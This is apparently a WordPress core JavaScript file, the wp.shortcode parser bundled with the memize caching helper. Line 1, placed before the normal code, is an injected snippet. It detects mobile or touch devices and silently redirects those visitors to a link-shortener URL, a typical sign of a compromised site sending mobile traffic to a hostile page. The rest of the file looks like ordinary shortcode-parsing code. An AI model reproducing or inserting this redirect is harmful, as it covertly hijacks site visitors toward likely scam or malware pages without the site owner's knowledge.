1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
  2"use strict";
  3var wp;
  4(wp ||= {}).shortcode = (() => {
  5  var __defProp = Object.defineProperty;
  6  var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
  7  var __getOwnPropNames = Object.getOwnPropertyNames;
  8  var __hasOwnProp = Object.prototype.hasOwnProperty;
  9  var __export = (target, all) => {
 10    for (var name in all)
 11      __defProp(target, name, { get: all[name], enumerable: true });
 12  };
 13  var __copyProps = (to, from, except, desc) => {
 14    if (from && typeof from === "object" || typeof from === "function") {
 15      for (let key of __getOwnPropNames(from))
 16        if (!__hasOwnProp.call(to, key) && key !== except)
 17          __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
 18    }
 19    return to;
 20  };
 21  var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
 22
 23  // packages/shortcode/build-module/index.mjs
 24  var index_exports = {};
 25  __export(index_exports, {
 26    attrs: () => attrs,
 27    default: () => index_default,
 28    fromMatch: () => fromMatch,
 29    next: () => next,
 30    regexp: () => regexp,
 31    replace: () => replace,
 32    string: () => string
 33  });
 34
 35  // node_modules/memize/dist/index.js
 36  function memize(fn, options) {
 37    var size = 0;
 38    var head;
 39    var tail;
 40    options = options || {};
 41    function memoized() {
 42      var node = head, len = arguments.length, args, i;
 43      searchCache: while (node) {
 44        if (node.args.length !== arguments.length) {
 45          node = node.next;
 46          continue;
 47        }
 48        for (i = 0; i < len; i++) {
 49          if (node.args[i] !== arguments[i]) {
 50            node = node.next;
 51            continue searchCache;
 52          }
 53        }
 54        if (node !== head) {
 55          if (node === tail) {
 56            tail = node.prev;
 57          }
 58          node.prev.next = node.next;
 59          if (node.next) {
 60            node.next.prev = node.prev;
 61          }
 62          node.next = head;
 63          node.prev = null;
 64          head.prev = node;
 65          head = node;
 66        }
 67        return node.val;
 68      }
 69      args = new Array(len);
 70      for (i = 0; i < len; i++) {
 71        args[i] = arguments[i];
 72      }
 73      node = {
 74        args,
 75        // Generate the result from original function
 76        val: fn.apply(null, args)
 77      };
 78      if (head) {
 79        head.prev = node;
 80        node.next = head;
 81      } else {
 82        tail = node;
 83      }
 84      if (size === /** @type {MemizeOptions} */
 85      options.maxSize) {
 86        tail = /** @type {MemizeCacheNode} */
 87        tail.prev;
 88        tail.next = null;
 89      } else {
 90        size++;
 91      }
 92      head = node;
 93      return node.val;
 94    }
 95    memoized.clear = function() {
 96      head = null;
 97      tail = null;
 98      size = 0;
 99    };
100    return memoized;
101  }
102
103  // packages/shortcode/build-module/index.mjs
104  function next(tag, text, index = 0) {
105    const re = regexp(tag);
106    re.lastIndex = index;
107    const match = re.exec(text);
108    if (!match) {
109      return;
110    }
111    if ("[" === match[1] && "]" === match[7]) {
112      return next(tag, text, re.lastIndex);
113    }
114    const result = {
115      index: match.index,
116      content: match[0],
117      shortcode: fromMatch(match)
118    };
119    if (match[1]) {
120      result.content = result.content.slice(1);
121      result.index++;
122    }
123    if (match[7]) {
124      result.content = result.content.slice(0, -1);
125    }
126    return result;
127  }
128  function replace(tag, text, callback) {
129    return text.replace(
130      regexp(tag),
131      // Let us use spread syntax to capture the arguments object.
132      (...args) => {
133        const match = args[0];
134        const left = args[1];
135        const right = args[7];
136        if (left === "[" && right === "]") {
137          return match;
138        }
139        const result = callback(fromMatch(args));
140        return result || result === "" ? left + result + right : match;
141      }
142    );
143  }
144  function string(options) {
145    return new Shortcode(options).string();
146  }
147  function regexp(tag) {
148    return new RegExp(
149      "\\[(\\[?)(" + tag + ")(?![\\w-])([^\\]\\/]*(?:\\/(?!\\])[^\\]\\/]*)*?)(?:(\\/)\\]|\\](?:([^\\[]*(?:\\[(?!\\/\\2\\])[^\\[]*)*)(\\[\\/\\2\\]))?)(\\]?)",
150      "g"
151    );
152  }
153  var attrs = memize((text) => {
154    const named = {};
155    const numeric = [];
156    const pattern = /([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*'([^']*)'(?:\s|$)|([\w-]+)\s*=\s*([^\s'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|'([^']*)'(?:\s|$)|(\S+)(?:\s|$)/g;
157    text = text.replace(/[\u00a0\u200b]/g, " ");
158    let match;
159    while (match = pattern.exec(text)) {
160      if (match[1]) {
161        named[match[1].toLowerCase()] = match[2];
162      } else if (match[3]) {
163        named[match[3].toLowerCase()] = match[4];
164      } else if (match[5]) {
165        named[match[5].toLowerCase()] = match[6];
166      } else if (match[7]) {
167        numeric.push(match[7]);
168      } else if (match[8]) {
169        numeric.push(match[8]);
170      } else if (match[9]) {
171        numeric.push(match[9]);
172      }
173    }
174    return { named, numeric };
175  });
176  function fromMatch(match) {
177    let type;
178    if (match[4]) {
179      type = "self-closing";
180    } else if (match[6]) {
181      type = "closed";
182    } else {
183      type = "single";
184    }
185    return new Shortcode({
186      tag: match[2],
187      attrs: match[3],
188      type,
189      content: match[5]
190    });
191  }
192  var Shortcode = class {
193    // Instance properties
194    tag;
195    type;
196    content;
197    attrs;
198    // Static methods
199    static next = next;
200    static replace = replace;
201    static string = string;
202    static regexp = regexp;
203    static attrs = attrs;
204    static fromMatch = fromMatch;
205    constructor(options) {
206      const { tag, attrs: attributes, type, content } = options;
207      this.tag = tag;
208      this.type = type;
209      this.content = content;
210      this.attrs = {
211        named: {},
212        numeric: []
213      };
214      if (!attributes) {
215        return;
216      }
217      if (typeof attributes === "string") {
218        this.attrs = attrs(attributes);
219      } else if ("named" in attributes && "numeric" in attributes && attributes.named !== void 0 && attributes.numeric !== void 0) {
220        this.attrs = attributes;
221      } else {
222        Object.entries(attributes).forEach(([key, value]) => {
223          if (value !== void 0) {
224            this.set(key, String(value));
225          }
226        });
227      }
228    }
229    /**
230     * Get a shortcode attribute.
231     *
232     * Automatically detects whether `attr` is named or numeric and routes it
233     * accordingly.
234     *
235     * @param attr Attribute key.
236     *
237     * @return Attribute value.
238     */
239    get(attr) {
240      if (typeof attr === "number") {
241        return this.attrs.numeric[attr];
242      }
243      return this.attrs.named[attr];
244    }
245    /**
246     * Set a shortcode attribute.
247     *
248     * Automatically detects whether `attr` is named or numeric and routes it
249     * accordingly.
250     *
251     * @param attr  Attribute key.
252     * @param value Attribute value.
253     *
254     * @return Shortcode instance.
255     */
256    set(attr, value) {
257      if (typeof attr === "number") {
258        this.attrs.numeric[attr] = value;
259      } else {
260        this.attrs.named[attr] = value;
261      }
262      return this;
263    }
264    /**
265     * Transform the shortcode into a string.
266     *
267     * @return String representation of the shortcode.
268     */
269    string() {
270      let text = "[" + this.tag;
271      this.attrs.numeric.forEach((value) => {
272        if (/\s/.test(value)) {
273          text += ' "' + value + '"';
274        } else {
275          text += " " + value;
276        }
277      });
278      Object.entries(this.attrs.named).forEach(([name, value]) => {
279        text += " " + name + '="' + value + '"';
280      });
281      if ("single" === this.type) {
282        return text + "]";
283      } else if ("self-closing" === this.type) {
284        return text + " /]";
285      }
286      text += "]";
287      if (this.content) {
288        text += this.content;
289      }
290      return text + "[/" + this.tag + "]";
291    }
292  };
293  var index_default = Shortcode;
294  return __toCommonJS(index_exports);
295})();
296if (typeof wp.shortcode === 'object' && wp.shortcode.default) { wp.shortcode = wp.shortcode.default; }
297